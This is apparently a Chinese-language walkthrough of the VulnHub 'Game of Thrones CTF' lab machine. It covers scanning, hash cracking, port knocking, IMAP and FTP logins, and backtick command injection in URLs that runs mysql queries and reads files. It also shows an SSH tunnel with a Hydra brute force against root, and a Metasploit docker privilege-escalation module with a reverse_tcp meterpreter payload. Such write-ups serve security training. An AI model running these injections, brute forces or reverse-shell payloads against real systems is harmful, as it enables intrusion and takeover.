2020-1-14:vulnhub靶场练习,Ganme of Thrones CTF
一、环境搭建
1,下载连接,https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/
2,下载之后使用VirtualBox虚拟机软件导入,启动即可
二、渗透练习
1,获取ip地址,因为靶场我使用的桥接模式
直接运行netdiscover命令,得到靶机ip地址为,192.168.0.161
2,获取靶场端口信息
输入命令,nmap -sV -o 192.168.0.161
-sV,扫描端口以及对应的服务名和版本号
-O,远程检测操作系统和版本
3, 发现开启了80的端口,服务是http服务,就访问下,网页循环播放,权利的游戏主题曲,嫌吵的就关闭就行
常规做web类ctf的套路,查看源码,看看是否有提示,发下目标,注意事项等等的
4,探测网站目录
输入命令 ,dirb http://192.168.0.161/ ,探测下网站有的一些目录,文件等,发现有robots.txt文件
robots是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
访问robots文件,看看是什么目录不让爬取的
既然是不让爬取的,那就自己访问看看是否有什么发现,是个动图,并且下边有可以点击的链接
点开为一个地图,是要获取的7个flag所在的位置,就是那几个服务
然后访问另外一个不让爬取的目录,又发现一张图片,没有什么敏感 信息
5,根据robots.txt得到的信息,访问/the-tree/目录,并将数据包头改为,User-agent: Three-eyed-raven,得到了一张提示图片
查看图片,发现一串密码,记录下来
6,dirb扫描目录,发现一个url,http://192.168.0.161/h/i/d/d/e/n/index.php
访问又是一张提示图片
查看源码
根据得到的提示,Dorne,查看地方,发现为FTP服务器,使用得到的用户名oberynmartell,尝试输入密码,A_verySmallManCanCastAVeryLargeShad0w
成功登录FTP
使用get 文件名,下载两个文件到本地,查看,得到一个HASH,复制出来创建一个a.txt,将HASH值方进去,使用john the ripper解密这个HASH
输入命令:john --format=dynamic_2008 a.txt --show 得到密码,stark
使用mcrypt解密得到的.nc文件,提示需要密码,输入得到的密码stark,解密成功,得到一个用户名和密码
7,直接访问提示的网站域名是无法访问的,所以改了下url,http://192.168.0.161/------W1nt3rf3ll------/,但是被鄙视了
8,将提示信息,添加到/etc/hosts文件中再次访问
输入得到的用户名和密码,得到第二个flag
9,看提示说是第二个flag,那为啥没看到第一个,想了下之前提示
10,暗示音乐,就把音乐给下载下载,使用exiftool进行查看,得到一个flag
11,根据得到的flag2的提示,盾徽是个突破口,将整个图片下载了,进行查看
cat index.jpeg,看到最后一句提示
12,看地图,第三个目标是DNS,所以查询下DNS记录,使用nslookup命令,可以查询对于Ip,A记录,MX记录,CNAME记录,txt记录,看提示TXT明显大写了,所以查询下txt记录
输入命令:nslookup -q=txt Timef0rconqu3rs.7kingdoms.ctf 192.168.0.161,得到flag3,以及下一个提示
13,下一个目标为10000端口,账号密码已经给出了,访问
输入账号密码,
用户名:aryastark
密码:N3ddl3_1s_a_g00d_sword#!
输入框随便输入
不过直接输入flag,搜不到信息的
14,随便搜索一个信息,点击File Manager,提示要JAVA,但是浏览器没有
15,浏览器必须支持加载JAVA小程序才行
使用ie浏览器,IE浏览器一定要设置启动JAVA脚本,允许运行JAVA脚本,JAVA要设置好网站例外站点,否则JAVA小程序无法加载
根据提示,到/home/目录下,找到flag.txt
得到flag4
16,提示信息下,又出现一个账号密码,看提示,就是postgresql的数据库,根据nmap扫描的信息,靶机有启动postgresql
使用Navicat Premium 12输入得到的账号密码,还有数据库名,测试连接,连接成功
看到一个flag的视图,但是无法直接在Navicat下看到
17,使用命令行连接,看到flag
查看flag为base64加密的字符串
TmljZSEgeW91IGNvbnF1ZXJlZCB0aGUgS2luZ2RvbSBvZiB0aGUgTW91bnRhaW4gYW5kIHRoZSBWYWxlLiBUaGlzIGlzIHlvdXIgZmxhZzogYmIzYWVjMGZkY2RiYzI5NzQ4OTBmODA1YzU4NWQ0MzIuIE5leHQgc3RvcCB0aGUgS2luZ2RvbSBvZiB0aGUgUmVhY2guIFlvdSBjYW4gaWRlbnRpZnkgeW91cnNlbGYgd2l0aCB0aGlzIHVzZXIvcGFzcyBjb21iaW5hdGlvbjogb2xlbm5hdHlyZWxsQDdraW5nZG9tcy5jdGYvSDFnaC5HYXJkM24ucG93YWggLCBidXQgZmlyc3QgeW91IG11c3QgYmUgYWJsZSB0byBvcGVuIHRoZSBnYXRlcw==
解密,得到flag5
18,查看数据库中其他信息
19,发现可疑字符串
发现为rot16加密的字符串
得到密码,ValarMorghulis,不清楚账号是哪个
19,逐个尝试之后,发现为TheRedWomanMelisandre这个账户的密码,数据库为braavos,测试连接成功,得到隐藏flag
20,看地图,下一个要完成的服务为imap服务,但是143端口没有打开,想起之前三眼乌鸦的提示,POLITE
数据库中也有这个字样,翻译过来意思是需要敲门
查询,发现有一个敲门服务
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
21,kali安装敲门服务,apt-get install knockd
knock 192.168.0.161 3487 4535 12345,运行之后,发现143端口启动,其实第一次扫的时候就发现已经启动了,但是找到的攻略有,所以操作了一下,又知道一个新服务
22,使用nc进行连接
输入命令,nc 192.168.0.161 143
连接成功,输入命令,a login olennatyrell@7kingdoms.ctf H1gh.Gard3n.powah,就是之前得到的flag5里提示的信息账号密码,进行登录
输入命令,a list "" "*" ,列出
输入命令 a select INBOX,查询
输入命令,a fetch 1 rfc822,得到邮件,得到里面的flag6
23,按照提示需要访问1337端口
输入邮件里得到的账号密码,登录成功
24,浏览下所有的文件
25,第一个文件下有个16进制字符串,2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874,转码之后得到一个目录,/home/tyrionlannister/checkpoint.txt这个文件应该就是要获得的文件
26,通过漏洞扫描,发现网站命令执行漏洞,http://192.168.0.161:1337/casterly-rock/tree/master/""`whoami`/
得到账号密码,和数据库,
账号:cerseilannister
密码:_g0dsHaveNoMercy_
数据库:kingslanding
获得当前数据库中的表,http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="show tables"`/
获得表中的字段的值,http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="select * from iron_throne"`/
得到一串,摩斯密码 ,-..-. . - -.-. -..-. -- -.-- ... --.- .-.. -..-. ..-. .-.. .- --.,解密之后,应该为一个目录/etc/mysql/flag
还有一个提示,提示还有权限,所以查看下权限,http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="show grants"`/
看到有,GRANT SELECT, INSERT, CREATE权限,那就可以将之前得到的目录下flag文件,导入到内容中,进行查看
http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="create table test(flag TEXT)"`/,创建一个临时表
http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="LOAD data INFILE '/etc/mysql/flag' into table test"`/,将flag内容导入临时表
http://192.168.0.161:1337/casterly-rock/tree/master/"a"`mysql -h 192.168.0.161 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="select * from test"`/,进行查看
得到flag信息,还有最后的提示,和ssh的账户信息
27,使用得到的ssh账户密码,登录主机
用户名:daenerystargaryen
密码:.Dracarys4thewin.
输入命令,ssh daenerystargaryen@192.168.0.161,之后输入密码,登录成功
28,收集信息
29,提示说这里是172.25.0.2唯一入口,应该是这台主机下没有需要的信息,又给了digger.txt字典文件,应该是要爆破172.25这台机器的密码进行登录,获取权限,所以退出连接的ssh,使用scp命令,将字典文件下载到kali机器上 ,scp daenerystargaryen@192.168.0.161:/home/daenerystargaryen/digger.txt ./digger.txt
将使用ssh服务,将172.25.0.2机器的ssh端口,绑定到本地2222端口
ssh daenerystargaryen@192.168.0.161 -L 2222:172.25.0.2:22 -N
使用Hydra进行爆破,hydra -l root -P ./digger.txt ssh://127.0.0.1:2222,得到root账户密码Dr4g0nGl4ss!
30,使用ssh登录root账户,输入命令ssh root@127.0.0.1 -p 2222 ,登录成功
得到最后的隐藏flag
根据提示的信息,账号密码
ssh账号:branstark
密码:Th3_Thr33_Ey3d_Raven
使用ssh重新连接靶机,查看信息,得到最后的决战,要获取真正靶机系统的root权限
查看系统信息,发现服务器是搭建在docker上的
31,利用msf里的docker提权脚本尝试提权
use exploit/linux/local/docker_daemon_privilege_escalation
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.0.103
set session 1
run
发现提权成功
查找文件,切换到root目录下,发现两个文件
通过meterpreter downloa命令,download /root/final_battle下载final_battle,发现为一个压缩包,加密文件,里面有文件flag.txt
32,根据提示,要得到最后的flag,需要得到三个secret_flag
三个secret_flag为:
8bf8854bebe108183caeb845c7676ae4,使用exiftppl在音乐中获得
3f82c41a70a8b0cfec9052252d9fd721,在Postgresql中,使用另外的一个账户TheRedWomanMelisandre登录到数据库braavos中获得
a8db1d82db78ed452ba0882fb9554fc9,在爆破172.25.0.2之后,使用root登录之后获得的flag
33,根据代码提示,密码的公式为
concat(
substr(secret_flag1, strlen(secret_flag1) - 10, strlen(secret_flag1)),
substr(secret_flag2, strlen(secret_flag2) - 10, strlen(secret_flag2)),
substr(secret_flag3, strlen(secret_flag3) - 10, strlen(secret_flag3))
)
34,根据公式,写下计算最后密码的脚本
得到密码Password:45c7676ae4252d9fd7212fb9554fc9
35,使用得到的密码,将压缩文件final_battle,进行解压
得到flag.txt文件,查看flag.txt,得到最终的flag
完